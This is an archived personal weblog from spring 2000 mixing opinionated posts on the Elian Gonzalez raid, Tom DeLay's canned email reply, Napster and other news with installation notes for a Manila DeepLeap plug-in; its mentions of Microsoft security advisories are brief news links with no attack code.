Below is the canned reply I received. I only reproduce it to point out that his office has a grammatical error in their stock reply to constituents — note the second sentence of the email.

Sad.

Received: from wodc7mr3.ffx.ops.us.uu.net by wodc7ps1.ffx.ops.us.uu.net
	with ESMTP
	(peer crosschecked as: wodc7mr3.ffx.ops.us.uu.net [192.48.96.19])
	id QQimhw10052
	for <mail02675@vpop0-alterdial.uu.net>; Mon, 24 Apr 2000 15:11:00 GMT
From: tx22.ima.pub@mail.house.gov
Received: from tx22iq.house.gov by wodc7mr3.ffx.ops.us.uu.net with ESMTP
	(peer crosschecked as: [143.231.99.131])
	id QQimhw17488
	for <jlevine@si.timeinc.com>; Mon, 24 Apr 2000 15:11:00 GMT
Received: from mail pickup service by tx22iq.house.gov with Microsoft SMTPSVC;
	 Mon, 24 Apr 2000 11:08:01 -0400
X-IQIMA: AUTO
To: jlevine@si.timeinc.com
Subject: Re: WriteRep Responses
Message-ID: <00cb00108151840TX22IQ@tx22iq.house.gov>
Date: 24 Apr 2000 11:08:01 -0400
X-UIDL: 3d5ab7f08f4c0932f5c730b584bcaf56
Status: U
 
Thank you for your recent comments. I will carefully consider you
input and get a response back to you. Also I wanted to let you know
about my email newsletter available at my website http://tomdelay.house.gov.
 
                     Sincerely,
                     Tom DeLay
                     Member of Congress

Thank you, Lisa, but now the pressure’s on, and I hope I can live up to it!

shuttle being readied
charles w luzier/reuters

The Shuttle is ready for another takeoff, this time to help get the International Space Station into its proper orbit, bring supplies, and do general maintenance. This will also be the first Shuttle mission with the new modernized cockpit, which is as state-of-the-art as computers that run a Space Shuttle can possibly be. DAMN! The launch was postponed due to high winds. Bummer.

In readying myself for hearing oral arguments in Boy Scouts of America v. Dale at the Supreme Court Wednesday, I found a good summary of the issues involved, and the potential scope of the eventual ruling. I’m slowly making my way through the NJ Supreme Court majority opinion; since the conversation at the Court tends to be more about specific points of law and interpretation based on precedent, I like to at least come close to being able to keep up.

Very very interesting: in response to preliminary inquiries by Republicans into this weekend’s events, a senior White House official has been quoted as saying “If they want hearings to explore this, then the responsibility will rest with them when we have no choice but to focus on things that have not been put into the public debate about the environment the boy was living in.” I wonder what this means…

What a complete buffoon. Matt Drudge started a conspiracy movement two nights ago by questioning the authenticity of the photos released that day of Elian with his father. Yesterday, the family released new photos, but took an extra step to authenticate them — they released the roll of undeveloped film to the AP Washington bureau, and let them develop, inspect, and print the film. Did Drudge then recant? No, he simply removed the sensationalist headlines from his site, as if he never had started the ruckus. As I said to Dan Budiac last night, the thing that angers me about Drudge isn’t his political bent (annoying, but not angering), it’s that he gleefully stirs up the political pot, but feels he has absolutely no responsibility to acknowledge and apologize when he goes too far.

On the same note, in light of the fact that there clearly was a warrant to go into the house, has Tom DeLay, the third-ranking Republican in the House of Representatives, acknowledged that he spoke out of his ass and misled the entire American populace on Sunday’s Meet the Press? (He sure as hell grandstanded in apologizing to all Americans who were “morally offended” by the raid.) UPDATE: I wrote Tom DeLay an email asking him this same question, and got a canned response back. Sadly for him, and for the people who elected him, that canned response has a grammatical error in it; the second sentence reads “I will carefully consider you input and get a response back to you.” Very sad.

The thing that has not ceased to amaze me is how little understanding the Miami relatives have of the way the law, and law enforcement, works; in particular, it’s clear that Marisleysis, the cousin, is completely clueless. She is currently screaming her head off, saying “I demand — and I think I have a right — to see this boy,” yet as things now stand, she and her relatives have no rights whatsoever. She keeps claiming that the federal raid was conducted during honest negotiations by the family, yet apparently when Reno finally told the mediator in the house that he had exactly five minutes to agree to send Elian to Washington, he had to try to wake the entire family up. And then she decries the use of weapons and force to get Elian out, yet was quoted in the days before the raid by people in her own community as saying that any Federal agent who entered their house would be hurt.

The FDA has approved Zyvox, the first of a new class of antibiotics known as oxazolidinones. Early data shows that it is effective against vancomycin-resistant enterococcus, a fatal infection that has been near-impossible to eradicate. Since it’s a patented synthetic drug, the price will probably be pretty high; all that Pharmacia has said is that it will cost slightly less than Synercid, which is around $85 per dose.

Friday, a Los Angeles jury ruled against Disney, agreeing that the company had coerced one of their executives dying of AIDS to sign away over $2 million in stock options based on false allegations of corruption. This is the first I’ve heard of this case, so I don’t know any details, but if it’s all true, then it’s a scary picture of Disney.

Ummmm… could this computer be any cooler? It’s the size of a portable CD player; I see a ton of cool uses of something this size. (This could easily be the start of a legit wearable computer.)

I don’t know how I missed this on MetaFilter, but an interesting question in raised in this News & Observer story: is a man still obligated to pay child support when DNA test confirm that he is not a child’s father? It appears that there are somewhat tragic numbers of men who are tricked or pressured into acknowledging paternity when it isn’t actually the case, and these men then end up with enormous child support bills.

i haven’t had the opportunity to follow closely, but the new republic has a really good article.

my question is, since when do we … the american public … swallow the concept that republicans give a sh_t about immigrants, legal or illegal? i’d love to see the media stop protecting their financial base and go after some of these blowhards. where are the quotes from past speeches, press conferences, etc.? the disdain for the intelligence of the american public is insulting.

for all anyone cares about elian, they ought to just wrap him in pigskin and toss him from capitol hill to pennsylvania avenue and back again. he is the penultimate political football. our american pratfalls are making castro look like a humanitarian …

For everyone who is buying into the Matt Drudge conspiracy that the pictures of Elian and his dad yesterday were faked, AP is currently moving pictures of them playing together on the base today. I saw them on our private AP Photo feed around an hour ago, but Excite News is the first to get them up on the public wire: Elian and Dad kicking a ball around, the whole family together, Elain and dad eating together, and the two of them hanging out.

Of course, now people will say that these, too, are faked… whatever. The Earth is flat, the moon landing was staged, Clinton killed Vince Foster by biting through his jugular vein in an act of vampirism gone terribly wrong… people will believe what they want to believe. But it’s difficult to dispute this, regarding today’s pictures:

Craig carried the undeveloped roll of photos to The Associated Press Bureau in Washington, D.C. Fred Sweets, assistant bureau chief for photos, said the film was developed in the AP photo lab. “These are from a disposable camera,” Sweets said. “I examined the negatives. They are authentic.”

Joel Spolsky continues to impress and delight with chapter 5 of his continuing series on user interface and design: Consistency and Other Hobgoblins.

No matter how bad your day is, it probably isn’t as bad as this poor kid’s. (Found at Pure Stupidity Videos, courtesy of Zannah.)

There’s an interesting and somewhat disturbing article at the New York Times about how drug companies do their research partially on the public’s dime, yet keep the profits for themselves. (They actually claim that the drug is the only profit deserved by the public.) Once again, though, it’s a New York Times article, so it will most likely disappear from the above link, to find its way into their pay-per-view archive.

Not that it’s the largest honor in the world, but it’s cool that Q has made LookSmart’s list of weblogs. The description makes no sense, though; the discussion group here doesn’t get much traffic at all.

Imagine that you return home one day, and your spouse and kids are gone. You worry your heart out, and then on TV the next day, you see a small news piece reporting that they were found in the snow in Canada; your spouse died of exposure, and your kids have been taken in by your cousin. When you go to get your kids back, your cousin hides them, saying that he doesn’t agree with the way that they’re being raised here — he doesn’t like the exposure to weapons in American schools, he doesn’t like the fact that there’s no national health care to protect them from disease, and he doesn’t like the entire environment of conspicuous consumption here. No matter how much you assert the fact that they’re your kids, you aren’t allowed to see them. Then, an actual court of law rules that your kids have to stay in Canada until they determine whether or not you have the right to bring them back to the United States.

That’s what’s happening here. It doesn’t matter how icky you find Communist Cuba — people elsewhere find the United States to be just as nasty. But they don’t have the right to take our kids in the name of trying to give them a better life.

Wow, Mike, have you read the Appellate Court decision? While I completely agree with you that this three judge panel has the benefit of both higher rank and (ostensibly) more prescient legal judgement, they withheld judgement on the entire custody issue. Their opinion is a very small, focused one on only a single aspect of the entire situation — whether or not Elian can leave the country. It specifically does not deal with any other issue, as they have oral arguments scheduled for next month:

To decide Plaintiff’s motion and to preserve his right to a day in court, we need only address the issue of Plaintiff’s removal from the country. We need not decide where or in whose custody Plaintiff should remain while this appeal is pending. This Order only prevents Plaintiff’s removal from this country.

This leaves us with only the words of the March 21st ruling when answering both the question of custody and the question of whether or not the DOJ has the authority to enforce said custody determination. Oh, and nobody is claiming that the INS took Elian back into custody — from the January 5th INS ruling, custody belongs to the father, and nothing has ever changed that. From the legal analysis that I’ve heard over the past 24 hours, Reno’s power to enforce this ruling is the basis for yesterday.

I thought you might be interested in my opinion on the hostage rescue in Miami this morning.

Very, very cool. (From Brig, with thanks.)

I was about to put a small apology here for all the Elian thoughts and links today, but then I realized that it’s my f’ing weblog, and the point is to express the things that are making my mind spin. When I watch something this sad take this long to resolve, and then watch people spread conspiracy notions and unattributed misconceptions, my mind starts spinning.

Wanted: at least one primary source that confirms the wildly repeated, never attributed statement that Elian will be held in some sort of camp upon return to Cuba, so that, as claimed, he can be resocialized to the proper lifestyle of a Cuban (or some derivative thereof). Send one along, if they exist. (Update: Mike came through with a secondary source that seems to talk about something similar to the debriefing that American hostages go through after returning to the U.S., except according to the CNN clip linked from that page, Elian would be with his entire immediate family.)

I swear, I had a dream at around 5 AM that the feds were finally going to go in and rescue the hostage, Elian Gonzalez, from the house of his Miami relatives — and it turns out that right about then, they were doing exactly that. My favorite quote so far is Marisleysis Gonzalez saying that she and her family were “given no warning.” Ummmm, how about a solid week’s worth? Or even better, how about three month’s worth? Ever since they decided to defy a federal order to give him to his father, they knew that they were doing something illegal, and that the INS could come in at any time to take Elian away.

Of course, now we’ll be inundated with the people who try to make a claim that the way this all played out at 5 AM today is the fault of the U.S. Government, rather than the Miami relatives who refused to transfer Elian to his father peacefully and without armed Federal marshalls involved.

Specifically for Mike: two things. First, according to the psychiatrists who have been involved in the case, the child was in “imminent danger to his physical and emotional well-being”; the videotapes that the family released early this week are very comparable to hostage situation tapes. Second, the administration acted according to Title 8, Section 1103(a) of the U.S. Code, at least according to the ruling from the Federal District Court earlier this month. This section gives broad enforcement powers to the Attorney General in all matters of immigration, and section III.B.3 of the same court ruling has a very good and detailed analysis of exactly how this broad enforcement power relates to the specifics of Elian’s situation.

We’ve all seen the picture of the agent in the bedroom closet with Elian and the fisherman; Salon already has an article on the photographer who got that shot. (His name is Alan Diaz, and his picture also ran on the AP photo wire.) Pretty interesting piece, and pretty clear that the family wanted to manipulate the media even during the hostage rescue.

One of the paid “extras” who was in the studio audience for the taping of Dr. Laura’s first TV talk show has given a first-hand account of just how terrible she is — as a person, yes, but more specifically, as a talk show host.

There’s a very well-written letter by Dub Dublin in the Letters to the Editor section of the latest Linux Weekly News that tries to debunk the currently-popular notion that patents are evil. (I’ve asked Dub if I can reprint it here, but until then, just scroll down to the letter from Dub_Dublin@tivoli.com on that Letters to the Editor page.)

Ick — following a long tradition, penitents in the Philippines allowed themselves to be crucified yesterday as a show of faith. (Question, though — if you go through this ritual seven times, as one of the men in the story had, are there convenient soft spots in your hands and feet that they can reuse every year?)

Excitement abounds — I get to go see oral arguments at the Supreme Court next week, in the last case of the year, Boy Scouts of America v. Dale. (It’s the case fighting the ban on gay members in the Boy Scouts; if you’re into the law-reading sort of thing, you can read the original New Jersey appellate case and New Jersey Supreme Court case, both of which ruled against the Boy Scouts.)

Sometimes I think that he’s got a lot of good things to say about the developing for the web, but when Cam Barrett says that it’s partially Microsoft’s fault that people go and do stupid things with Active Server Pages, I just expect his head to do that thing in Total Recall (where the fat woman was really Arnold Schwarzenegger in disguise), and underneath the mask will be Larry Ellison, looking like he’s been caught.

I almost forgot that we’re getting up to awesome jazz season in New York City — there’s the Bell Atlantic Jazz Festival from June 1 through June 11, and then there’s the JVC Jazz Festival from June 12 through June 24. Fine, it may not be the New Orleans Jazz and Heritage Festival (which evil Chuck is gloating about going to in a week) or Montreaux, but it’s pretty damned sweet.

wired news 403

Above is the 403 Forbidden message that I got when I tried to go to Wired News today. Absent the obvious (I shouldn’t be forbidden to read the main Wired News page), I sorta like it…

Once I was allowed to look at Wired, I noticed a pretty funny piece about an (unmarked) spoof article in last month’s Esquire — a guy who claimed that he was going to start a new dotcom business upon the premise that people will get a free car, the catch being that the car would be plastered with ads. Many people took it seriously, and it turns out that there are already a few startups with this very same idea. (Have I mentioned how ridiculous most of these dotcom startups are?)

There’s a new Microsoft security bulletin and fix out for an apparently-subtle vulnerability in permission within part of Active Directory.

Happiness is baseball and a supercool scoring application for your PalmPilot.

The Supreme Court held oral arguments yesterday in a case challenging some of the basic tenets of the Miranda decision; that means that Dahlia Lithwick has another dispatch from the Court online, and she just keeps getting funnier.

Matt and Trey are being wooed by other networks, but for some odd reason, I just can’t see NBC allowing half the things we’ve seen on South Park to air on their network.

Joel Spolsky continues his excellent series of articles looking at the process of software development (and admits to the fact that he’s a reader of Upside magazine) with Where Do These People Get Their (Unoriginal) Ideas?.

From the Napster Copyright Policy:

As a condition to your account with Napster, you agree that you will not use the Napster service to infringe the intellectual property rights of others in any way. Napster will terminate the accounts of users who are repeat infringers of the copyrights, or other intellectual property rights, of others.

This is going to end up being the Achilles’ heel of Napster — they have placed a warning on their site, and have specified an enforcement measure, and by doing so, they have implicitly acknowledged that it is one of their duties to make sure that their service is not misused. The fact that they can go onto their search servers and find hundreds of thousands of violations of the above statement, and (I’d be willing to bet) have done absolutely nothing to stop it, will be their downfall. (Does anyone know of a single individual who has been punished by them?)

Many weblog authors may have already received a message from David Eison, a researcher at Georgia Institute of Technology, asking them to take a few minutes out of their day to participate in his research project. Nonetheless, he has a survey that takes all of two minutes to fill out; if you run a website or a weblog, hop over there and contribute.

Gentle reminder: Q fully supports the DeepLeap MetaInfo panel, so if you’re a DeepLeap user, you’ve got access to the search engine, site map, contact page, and home page all at the bottom of your DeepLeap popup window.

I’m fairly disgusted that when John Rocker came into the Atlanta Braves game last night, he got a standing ovation, and fans even held up signs that read “Rocker for President.” Then again, this is a state that still has the Confederate flag incorporated into its state flag, so tolerance can hardly be expected.

A Connecticut couple is suing Publisher’s Clearing House for $21 million, claiming that they received many envelopes in the mail saying that they had actually won the sweepstakes, and even got all dressed up on Super Bowl Sunday to wait for the van and TV cameras to pull up and give them the big fake check. When it didn’t show up, apparently the emotional distress was too much to bear, and a lawsuit was the only answer.

On the other side of the lawsuit coin, I actually agree with the lawsuit filed by Metallica, and the apparently impending lawsuit from Dr. Dre, against Napster for helping distribute their copyrighted works. While people may not agree with the amount charged by major record labels for CDs and tapes, I don’t agree with how much a new BMW Z3 costs, but I don’t have the right to steal one because of that belief. Napster is a content provider, and once they know that a party is providing copyrighted and illegal content, they have to pull it down, just like AOL or EarthLink does.

David Adams has started a discussion on whether or not the Napster lawsuits should include the schools that provide Internet access to students.

These are the notes of what was changed in each release of the Manila DeepLeap plug-in.

1.0b1: Initial release.

1.0b2: Fixed a security problem, wherein someone other than a managing editor of a site could view and change the DeepLeap preferences for the site.

1.0b3: Enabled the standard Frontier subscription support in the DeepLeap plug-in; now, all a server manager needs to do to get the latest fixes for the plug-in is update deepLeap.root from within Frontier.

1.0b4: Mainly a test of the subscription mechanism; also added a footer to the DeepLeap Preferences page in which the version number of the plug-in installed on the server is reported.

There’s been a few version updates to the Manila DeepLeap plug-in; the current version is 1.0b4. (There are change notes for each version iteration; the two big changes to know about are the closing of a minor security hole and the addition of standard Frontier subscription support, so you can update the plug-in painlessly from within Frontier.)

Holy shit: in order to accomodate the 2000 Summer Olympic Games, Australia has completely changed the dates of observing daylight savings time in some regions of the continent. Microsoft has issued a technote and a patch to help IT people deal with the change on their operating systems; of course, only computers that are going to be hanging out in the affected regions need to have the patches applied.

Russ Cooper, moderator and overall deity of NTBugTraq, has revised his position on the dreaded DVWSSR.DLL security issue — he now says that there is a security problem with the DLL, but it’s a potential buffer overflow issue that can lead to the denial of service of the webserver (and he cannot reproduce it). Microsoft has also revised their security bulletin, but the remedy remains the same (delete the DLL).

Oh, that’s funny (but not in the “Ha ha!” sense) — Oprah Winfrey, the woman who trumpeted the value and sanctity of free speech when she defeated a lawsuit by Texas cattlemen designed to silence her views on their industry, makes every one of her production company’s employees sign agreements that they won’t talk about the internal affairs of the company for the rest of their lives. I guess fundamental rights are fundamental rights, but business is business.

“Elian Gonzalez is now in a state of imminent danger to his physical and emotional well-being in a home that I consider to be psychologically abusive.” (I know, we’re all sick to death of this issue, but the pediatrician in me couldn’t help linking to an article that expresses the same worries that I have about the way that that child is being manipulated and turned into a cause, rather than treated like the six-year-old that he is.)

Well, it’s now official — all of the three-letter .COM domain names are gone.

Awesome — the American Secular Holidays Calendar. (I’m filling out vacation requests for my residency next year, and needed to know when the holidays fell. You can put in any year, and this page will compute the dates of all the biggies.)

I think they’ll decide to make them illegal for the same reason that pro Basketball banned the zone defense: it makes the sport boring.

Everyone knows the real reason for this sport is so that we can all ogle at young people with nice bodies wearing spandex.

I feel very honored to be on Nikolai’s “SXSW 2000 People I Would Have Enjoyed Meeting” list… but I wasn’t at SXSW 2000! But, now that I’ve thought about it, SXSW 2000 is definitely on my “Things I Would Have Enjoyed Going To” list — there were pangs of jealousy when I browsed all the pictures that came out of the event, and if anything else, I would have loved to put faces and living, breathing personalities to the people that I have been reading, day in and day out, for months now.

Damn, this is cool — competitive swimmers in Australia are donning neck-to-ankle swimsuits designed to approximate the skin of sharks and other fish, in an effort to improve times. They ostensibly do trim up to 3% off of previous best times.

I went to see Jimmy Cobb’s Mob last night (on the tickets I won on WBGO a few nights ago), and the show was just frickin’ amazing. Jimmy Cobb is a jazz legend, having played drums for Miles Davis (on Kind of Blue, Dinah Washington, Billie Holiday, and Cannonball Adderly, to name just a few. And at 70+ years old, he’s still awesome.

I got an email from Edd Dumbill yesterday evening, saying that he had “shamelessly copied” my Manila DeepLeap plug-in for Zope — if you use Zope, go get it.

Yet another quick hello to a friend, VJ, who came to visit New York this weekend, and told me that he’s made Q his home page. (In my thinking, if someone goes and shows a commitment like that, they deserve a public hello!)

Once again, there’s now a DeepLeap plug-in for Manila servers.

ABC News uses a custom Perl redirect script to send people to stories on their site from the Go.com home page (look in the lefthand navigation bar for the links). This redirect script has an incorrect implementation of HTTP responses to requests — it terminates every line with a straight line feed, rather than the carriage return-line feed combo that’s required by both the HTTP 1.0 and HTTP 1.1 specifications (see sections five and six). Some HTTP clients (the few I’ve found are all components that you can use in your own programs) fail with only line feeds, and won’t accept the HTTP response. I emailed them about this in late January, and they responded in early February that they were aware of the problem and would fix it. It’s now mid-April, and it’s unfixed; that’s pretty pathetic.

To me, this is similar to the way that CNN responded to the hundreds of users that complained about the fact that their redesign resulted in the fonts on the home page and article detail pages being way too small to read. They initially told everyone to increase the size of the fonts in their browser (who cares that it was only their site that was broken); then, they just stopped responding at all. It wasn’t until two months had passed that they actually fixed the problem. Websites like this act like they don’t need to attract users, and they manage to push people like me away.

A while back, I logged the accusation of a Pennsylvania cop of paying $2 to a 10-year-old Little Leaguer to bean another player. The (now ex-) cop was convicted of the offense Friday, and now faces up to three months in prison. To protect and to serve, eh?

In perusing the logfiles on a Linux box of mine, I’m seeing a few distinct, obvious attempts by a University of Delaware student (or someone affiliated — I shouldn’t assume it’s a student) to break into the webserver. They’re all from one of the university’s shared Solaris boxes; at my school, this is an offense for which your account is immediately revoked on the machines (meaning you lose your university email, as well), and you’re brought before the disciplinary board of the entire school.

last updated:

current version: 1.0b4 (change notes)

NOTE: there is now support for updating the plug-in from within Frontier, in the same manner as you are able to update almost all of Userland’s native root databases. Unfortunately, if you have a version older than 1.0b3, you can’t use that support without redownloading the root file from below, and rerunning the installation script (which enables the support in the user.rootUpdates table). You can find out what version you are running on your server by jumping to the cell at dlData.prefs.version.

After the unshuttering of DeepLeap yesterday, I decided to write a little plug-in that makes it easy for Manila users to participate in some of the added functionality that DeepLeap provides. This plugin is released under the Frontier Artistic License, for free.

If you install this plug-in, drop me a line to let me know. I’m interested in whether or not people find it useful.

What does it do?

This plug-in lets you enter the information required by DeepLeap to enable its MetaInfo functionality for your site. It also allows you to submit the XML file that results from this information to DeepLeap, so that they can parse it and incorporate it into their database.

How do I use it?

It’s a standard Manila Plug-In, which means that it needs to be installed on your Manila Server, and then enabled for each site that wants to use it.

If you control your own Manila server, then this is easy — you can download and install the plug-in yourself. If your site is on a public Manila server that you don’t control, then you need to ask the administrator of that server to download and install the plug-in, and then you can enable it on your site.

There are two downloads, both very small — a ZIP file (4 Kb) and a straight Frontier root file (13 Kb). (The root file is in lieu of a StuffIt archive for Mac users; I don’t have a Mac at home, so I couldn’t make one.)

Installing the plug-in

  1. After downloading, and (if necessary) unzipping, deepLeap.root, put it into the apps subfolder of Frontier’s Guest Databases folder.
  2. Open deepLeap.root in Frontier.
  3. With deepLeap.root frontmost, go to Frontier’s Server menu and choose Add to user.databases…. Affirm that this is what you want to do, and then close the user.databases subwindow once it comes up.
  4. Run the script in deepLeap.root at dlSuite.install — this will install and register the plug-in. That’s it for the installation.

Updating the plug-in to the latest version

The DeepLeap plug-in supports Frontier’s standard subscription mechanism, so you can update it from within Frontier. Make the deepLeap.root window visible and bring it to the front, and then choose Update deepLeap.root… from the Main menu.

Enabling and setting up the plug-in on a site

Log into the site as a managing editor, and choose Prefs from the editors-only bar at the top of the page. Click on Plug-Ins in the left-handed navbar once it comes up, and then check the checkbox next to DeepLeap. Submit the form.

Now, the editors-only bar at the top of the page has an added entry, DeepLeap, which will take you to the configuration page for the plug-in. Click on it.

On this next page, you can enter the page addresses for your DeepLeap XML file. Read the instructions at the top — they explain the rules and such. Once you’ve entered the prefs and set them (by clicking on the set deepleap prefs button), then you can scroll down a bit and submit the XML file to DeepLeap for processing. This will open a new window, in which DeepLeap will report the results of the processing.

That’s it!

What if I find a problem?

You can mail me with any problems, or post to the discussion group, and I’ll do my damndest to fix ‘em.

This is what I have needed for years, too cool. Firewall issues?
Phil

I went to the Yankees game this afternoon, and didn’t even realize that Ramiro Mendoza was working a perfect game until the ball glanced off of the tip of Clay Bellinger’s glove and ended the attempt. The Yanks won, though, easily.

DeepLeap launched yesterday. It’s a web application that assists you when you surf — you can highlight a word and get a definition, you can bookmark pages on their server, so that you have universal access to them, and things like that. They write some pretty serious JavaScript, too… impressive. If you use DeepLeap, this site is enabled for it — you can use the MetaInfo tab to surf around and search Q quickly and easily.

New release: I wrote a plug-in for Manila today that sets up and automatically generates the XML file that DeepLeap uses to enable their MetaInfo functionality of their web app. (It’s being used here to maintain my own deepleap.xml file.) Read about it, and grab it!

In a bit of reciprocal link action, Dan points to a damn funny letter to the IRS; wonder if it’s real or not…

So, it turns out that the reports of the backdoor security hole in Microsoft’s DVWSSR.dll were 100%, totally, completely false. And the news reports bordered on ludicrous before backing off a little bit — saying that the “Netscape engineers are weenies!” phrase is a backdoor password (it isn’t, it’s a static key used to encode filenames), saying that any box with the DLL is vulnerable to any visitor (they aren’t, only theoretically vulnerable to people with valid Web Authoring logins), and saying that all files are vulnerable (they aren’t, the above NTBugTraq article actually found that there is no vulnerability at all).

I don’t know why, but I want a Lomo, crushingly. They look neat, and seem to take the kind of pictures I like — raw, colorful, natural-looking. Anyone wanna send me one?

As usual, Neale comes through for the Sims addicts with the PsychoticMentalPatient family photo album. Kickin’.

Home: five days’ worth of my ramblings, wrapped in sanitary cellophane and delivered straight to your door! (No tipping allowed.)


Referrer Log: look who I’ve suckered into sending visitors my way! Dynamically updated so that you have the very latest glimpse into the fascinating web of sluttish collusion.


Discuss: the place to share what you want to say. Think of it as that bulletin board next to the bathrooms at work, without all of the grubby “Ride Wanted” and “Old Ratty Couch For Sale” signs tacked helter-skelter.


Lightweight: a super-lightweight version of Q Daily News, with minimal acoutrements, perfect for your PalmPilot.


About: a little prosaic glimpse into my otherwise unremarkable life. Perhaps a picture to sate your crushing appetite.


Syndication: links to the various syndication files, so that you can take all the steaming heaps of love from Q and run ‘em through your favorite syndication system.


Cameras:


QuesoCam: a view of nothing (or whatever I decide to point it at that day). But here’s the thing — it’s a really nice camera, so it’s a clear view of nothing. Can’t beat that!


Photos: a one-stop shopping haven for all the photo essays that have graced the pages of Q.


Manila Stuff:


altTemplate Plug-In: a server-side addition to Manila, allowing a site editor to create alternate templates, and then to render messages through those templates.


DeepLeap Plug-In: a server-side addition to Manila, making simple the setup and maintenance of the XML file that’s needed to enable DeepLeap’s MetaInfo function. Leap away…


Daily Links: a server-side macro that makes it easy to add a link to your permanent, daily Manila site archive. What all the webloggers crave.


Referrer Log: yet another macro, this one that makes it simple to add a page showing all of the people sending you hits galore. Used in my referrers page.


LogBrowser: a Manila control panel add-in that gives you a detailed hourly log, complete with membership identifiers and referrers.


Membership:


Sign Up / Log In / Prefs / Sign Out


SiteMap: you’re lookin’ at it!

i don’t remember if i sent this to you:

“this president is treated by both the press and foreign leaders as if he were a child. he earns praise for the ordinary, for what used to be the expected. his occasional ability to retain facts is cited as a triumph when it should, in fact, be a routine occurrence …”

— richard cohen, washington post, 6.2.83

as far as geography goes, i find this:

“well, i learned a lot. … i went down [to latin america] to find out from them and [learn] their views. you’d be surprised. they’re all individual countries.”

— washington post, 12.6.82

it seems dubya is inheriting the ‘reagan teflon coating’ …
feel free to reuse as you see fit. seems we need a presidential s.a.t. to guarantee baseline level of intelligence. i don’t think that’s at all off-base, considering our problems with past presidents …















all original content on Q Daily News copyright © 1999-2002 by Jason Levine.

i subscribe to the same school of thought as beth: a vague disclaimer is nobody’s friend. don’t take my work or my words without asking first; if you do, i’ll stick a foley catheter in you, without surgilube.

for claims of copyright infringement, please visit this page.

this site powered by

manila.

From the logs today, it appears that I have readers from Starbucks. Cool — can any of you send me lifetime grande vanilla lattes?

Another excellent Joel Spolsky essay: Choices.

Ever have one of those days where you realize that a few sites you go to a few times a day aren’t on your bookmarks list, and you wonder why you’re too damn lazy to take care of that? I do — today. So I dealt with it; the bookmarks list to the left now includes rc3, Fresh Hell, Bloat, and Wendell’s latest evil deed, WWWW.

Vili Fualaau, the boy who fathered two kids with Mary Kay Letourneau, is seeking $1 million from the school district, claiming that they are responsible for his affair with his teacher. Question, though: where were his parents when he, after she had been found guilty of preying on him the first time, knocked her up a second time? And aren’t these the same parents who went on talk shows saying that the relationship was consensual? Gawd.

This just in: Elian traded to Cuba for a right-handed pitcher. Awesome: “Elian will be missed, but he was going to be a free agent. A child’s freedom is a small price to pay for starting pitching.”

(In the real world, though, once again, Chuck steps into the breach and talks about the real issues that are being ignored in the Elian saga.)

Because I feel I’ve been remiss in my delivery of the inspirational, intellectual wisdom of George W. Bush to my readers on a more regular basis, I present a backlog of Slate’s Bushisms of the Week:

Reading is the basics for all learning.
 
We want our teachers to be trained so they can meet the obligations, their obligations as teachers. We want them to know how to teach the science of reading. In order to make sure there’s not this kind of federal—federal cufflink.
 
You subscribe politics to it. I subscribe freedom to it.
 
I was raised in the West. The west of Texas. It’s pretty close to California. In more ways than Washington, D.C., is close to California.

What a complete f’ing dink. (And Garrett weighs in with his own; share your imbicilic Dubya quotes too!)

If you run Internet Information Server with FrontPage 98 Extensions on Windows NT (not Windows 2000 or FrontPage 2000), then you may want to read this — there’s a security hole in the Frontpage extensions.

Q-Ball… I like that one!

I’ve never won tickets on the radio before, but Dan_Of_BrainLog got me into dialing into WBGO FM here in NYC, and I just won tickets to a concert Sunday night. Coooooool.

Very nice redesign over at twerntland, twer’nt it?

First use of my new toys: a hit monitor for this site, which you can see on QuesoCam2. It’s controlled by a small Visual Basic app, which uses the COM XML-RPC client written by Joe Massey and Steve Ivy to query my Manila server. I figure it’s a good test for all of the components involved, especially the COM client and Manila, which are being used once every second. (I apologize about the poor color on the camera; the backlight on the LCD screen is throwing off the white balancing, so I’m overriding it manually for now.)

Yep, that’s right, I’m now an ACLS-certified lifesaver. (Or possibly a cherry LifeSaver; I never can tell the difference.) If I had a scanner at home, I’d scan the card for you, but that could actually border on pathetic, so nevermind.

Just because I’m sick to death of the small issue going on down in Little Havana, Florida right now, it doesn’t mean I don’t have strong opinions on it. And now I’ve realized that those opinions exactly mirror those of Chuck (April 13th entry). So read his — I hereby say that they speak for me, so that I don’t have to write about it any more.

What a great idea: MailExpire will set up a free forwarding email address for you, but unlike all the other services that do this, their email address will expire after an amount of time that you set (12 hours to one month). Perfect when you only need a website to be able to communicate with you for a short period of time, but don’t want their spam for the rest of your natural born life.

Norah Pierson has an out-and-out hilarious piece on pseudo-stalking Jeff Cohen, the actor who played Chunk in The Goonies.

I think I’m a magnet for customer service problems. Today, my cellphone got shut off, for no known reason, so I called them to ask why. They said that it was for nonpayment. So I called my bank, which verified that they cashed my check a few weeks ago. I called Omnipoint back, and we conference called in the bank, which verified that they had actually accepted my money via electronic transfer, so there was no way Omnipoint could deny that I had paid. The agent on the phone still wouldn’t accept this as an answer; I had to work up another level of management before I got someone that understood how idiotic they were being, and fixed everything. Total time: one hour, which I should bill them for. Update: they are crediting $50 to my bill, which I guess is worth the hour I spent, but all things equal, I wish I hadn’t had to raise my blood pressure.

Joel Spolsky is rocking with a series of programming and interface essays on his website. A few that I have really enjoyed: Things You Should Never Do, Part I (talking about the inadvisability of throwing away source code and starting from scratch), and Introduction to User Interface Design for Programmers (a treatise on why people form the opinions that they do on computers). And, in addition, a humorous statement he made (and has since changed) showing a slight bias against Linux users has drawn the ire of Cam, possibly one of the most biased anti-Microsoft users on Earth.

Jauteria is back, happy happy joy joy!

Tuvalu has decided to sell rights to their national top-level-domain, .TV, to Idealab for $50 million. Good for them, but again, it’s just a sign that the slow response of the domain name system to the need for new TLDs has reached a pathetic state.

Of course, now that I’ve perused Idealab’s site for the .TV TLD, I think that the whole damn thing is just silly. They are auctioning off the domain names, and the prices are outrageous — most auctions appear to start at anywhere from $2,500 to $5,000 (although I cannot figure out the rhyme or reason to where they decide to start the bidding), and the successive bid intervals are pretty big after a certain point. And these prices are for one year, with the registration costs going up 5% each successive year (and by winning the auction, you’re bound for two years). In order to even participate in an auction, you’ve got to pony up $1,000. As Chuck Taggart would say… feckin’ ridiculous.

How frickin’ funny… eponymous, a company that claims to provide screening of the privacy policies of websites, has what can only be called a horrendous database on which it relies for this screening. Different privacy ratings for websites that share the same privacy policy, out-and-out wrong ratings… oops.

Wow, I should start running again.

I should put the DNS fix on my machine, but everytime I run realaudio I need to power down and restart. So I will never get a chance to run ot of memory.

Phil

